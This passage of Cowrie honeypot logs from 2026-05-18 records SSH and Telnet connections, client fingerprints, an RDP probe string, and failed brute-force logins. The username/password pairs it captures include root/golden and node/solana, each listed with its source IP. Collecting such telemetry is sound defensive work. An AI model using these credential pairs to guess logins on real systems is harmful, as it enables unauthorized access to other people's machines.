{"eventid":"cowrie.login.failed","username":"root","password":"ssssss","message":"login attempt [root/ssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:41.350909Z","src_ip":"193.228.128.84","session":"a74c04d67679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley12345","message":"login attempt [whitley/whitley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:41.579504Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:42.465636Z","src_ip":"193.228.128.84","session":"a74c04d67679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:42.663862Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39844,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a802dd493c7","protocol":"ssh","message":"New connection: 103.195.236.96:39844 (10.17.0.5:22) [session: 3a802dd493c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:46.106894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:46.111799Z","src_ip":"103.195.236.96","session":"3a802dd493c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:46.357689Z","src_ip":"103.195.236.96","session":"3a802dd493c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10577","message":"login attempt [root/10577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:47.073249Z","src_ip":"103.195.236.96","session":"3a802dd493c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.61950492858887,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:48.079859Z","src_ip":"152.42.224.71","session":"a4d576b75a2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:48.316599Z","src_ip":"103.195.236.96","session":"3a802dd493c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.53.74.47","src_port":40099,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b506822c0d","protocol":"telnet","message":"New connection: 113.53.74.47:40099 (159.203.135.109:23) [session: a9b506822c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:49.453781Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41586,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b48e92c118","protocol":"telnet","message":"New connection: 152.42.224.71:41586 (10.17.0.5:23) [session: 53b48e92c118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:59.393484Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41590,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b19576cdead","protocol":"telnet","message":"New connection: 152.42.224.71:41590 (10.17.0.5:23) [session: 3b19576cdead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:02.825924Z"}
{"eventid":"cowrie.session.closed","duration":13.59395718574524,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:03.047638Z","src_ip":"113.53.74.47","session":"a9b506822c0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48272,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c27a9d0758c","protocol":"telnet","message":"New connection: 152.42.224.71:48272 (10.17.0.5:23) [session: 0c27a9d0758c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:08.553050Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48276,"dst_ip":"10.17.0.5","dst_port":23,"session":"30978478ea5d","protocol":"telnet","message":"New connection: 152.42.224.71:48276 (10.17.0.5:23) [session: 30978478ea5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:12.050376Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59638,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7fca38f7c9a","protocol":"ssh","message":"New connection: 193.32.162.145:59638 (10.17.0.5:22) [session: a7fca38f7c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:36.812434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:36.817449Z","src_ip":"193.32.162.145","session":"a7fca38f7c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:36.954096Z","src_ip":"193.32.162.145","session":"a7fca38f7c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:37.380983Z","src_ip":"193.32.162.145","session":"a7fca38f7c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:38.488866Z","src_ip":"193.32.162.145","session":"a7fca38f7c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d962cf514a","protocol":"telnet","message":"New connection: 152.42.224.71:42120 (10.17.0.5:23) [session: 29d962cf514a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:48.153687Z"}
{"eventid":"cowrie.session.closed","duration":51.39487671852112,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:50.788232Z","src_ip":"152.42.224.71","session":"53b48e92c118","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.10984015464783,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:52.935622Z","src_ip":"152.42.224.71","session":"3b19576cdead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.19168519973755,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:53.241945Z","src_ip":"152.42.224.71","session":"30978478ea5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018458366394,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:28:53.653799Z","src_ip":"152.42.224.71","session":"a28630ac5e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":46402,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb46d0d4f89b","protocol":"ssh","message":"New connection: 103.82.132.16:46402 (159.203.135.109:22) [session: fb46d0d4f89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:02.685740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:02.690045Z","src_ip":"103.82.132.16","session":"fb46d0d4f89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:02.954514Z","src_ip":"103.82.132.16","session":"fb46d0d4f89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60292,"dst_ip":"10.17.0.5","dst_port":23,"session":"0510a96bf314","protocol":"telnet","message":"New connection: 152.42.224.71:60292 (10.17.0.5:23) [session: 0510a96bf314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:03.577974Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"golden","message":"login attempt [root/golden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:03.748392Z","src_ip":"103.82.132.16","session":"fb46d0d4f89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:05.015647Z","src_ip":"103.82.132.16","session":"fb46d0d4f89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.61614656448364,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:08.169087Z","src_ip":"152.42.224.71","session":"0c27a9d0758c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":49854,"dst_ip":"159.203.135.109","dst_port":22,"session":"aab24af2b137","protocol":"ssh","message":"New connection: 147.45.199.80:49854 (159.203.135.109:22) [session: aab24af2b137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:12.055275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:12.064079Z","src_ip":"147.45.199.80","session":"aab24af2b137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:12.159494Z","src_ip":"147.45.199.80","session":"aab24af2b137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234565","message":"login attempt [root/1234565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:12.448662Z","src_ip":"147.45.199.80","session":"aab24af2b137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:13.546714Z","src_ip":"147.45.199.80","session":"aab24af2b137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55954,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27c33796cb6","protocol":"ssh","message":"New connection: 152.42.212.128:55954 (159.203.135.109:22) [session: e27c33796cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:14.253896Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:14.258722Z","src_ip":"152.42.212.128","session":"e27c33796cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:14.262673Z","src_ip":"152.42.212.128","session":"e27c33796cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"3937441d6f9f","protocol":"telnet","message":"New connection: 152.42.224.71:57744 (10.17.0.5:23) [session: 3937441d6f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:18.383185Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7d78910040","protocol":"telnet","message":"New connection: 152.42.224.71:57746 (10.17.0.5:23) [session: ad7d78910040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:23.737835Z"}
{"eventid":"cowrie.session.closed","duration":44.78464150428772,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:32.938233Z","src_ip":"152.42.224.71","session":"29d962cf514a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46366,"dst_ip":"10.17.0.5","dst_port":23,"session":"858b673f2582","protocol":"telnet","message":"New connection: 152.42.224.71:46366 (10.17.0.5:23) [session: 858b673f2582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:39.081368Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":54106,"dst_ip":"10.17.0.5","dst_port":22,"session":"0126681d1337","protocol":"ssh","message":"New connection: 79.132.141.112:54106 (10.17.0.5:22) [session: 0126681d1337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:46.319178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:46.325174Z","src_ip":"79.132.141.112","session":"0126681d1337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:46.413788Z","src_ip":"79.132.141.112","session":"0126681d1337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alanturing","message":"login attempt [root/alanturing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:46.800541Z","src_ip":"79.132.141.112","session":"0126681d1337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.450968980789185,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:47.028795Z","src_ip":"152.42.224.71","session":"0510a96bf314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:47.890886Z","src_ip":"79.132.141.112","session":"0126681d1337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.9061496257782,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:29:59.289011Z","src_ip":"152.42.224.71","session":"3937441d6f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36088,"dst_ip":"159.203.135.109","dst_port":22,"session":"e11a55ddc9f5","protocol":"ssh","message":"New connection: 80.66.85.226:36088 (159.203.135.109:22) [session: e11a55ddc9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:00.882805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:30:00.893151Z","src_ip":"80.66.85.226","session":"e11a55ddc9f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 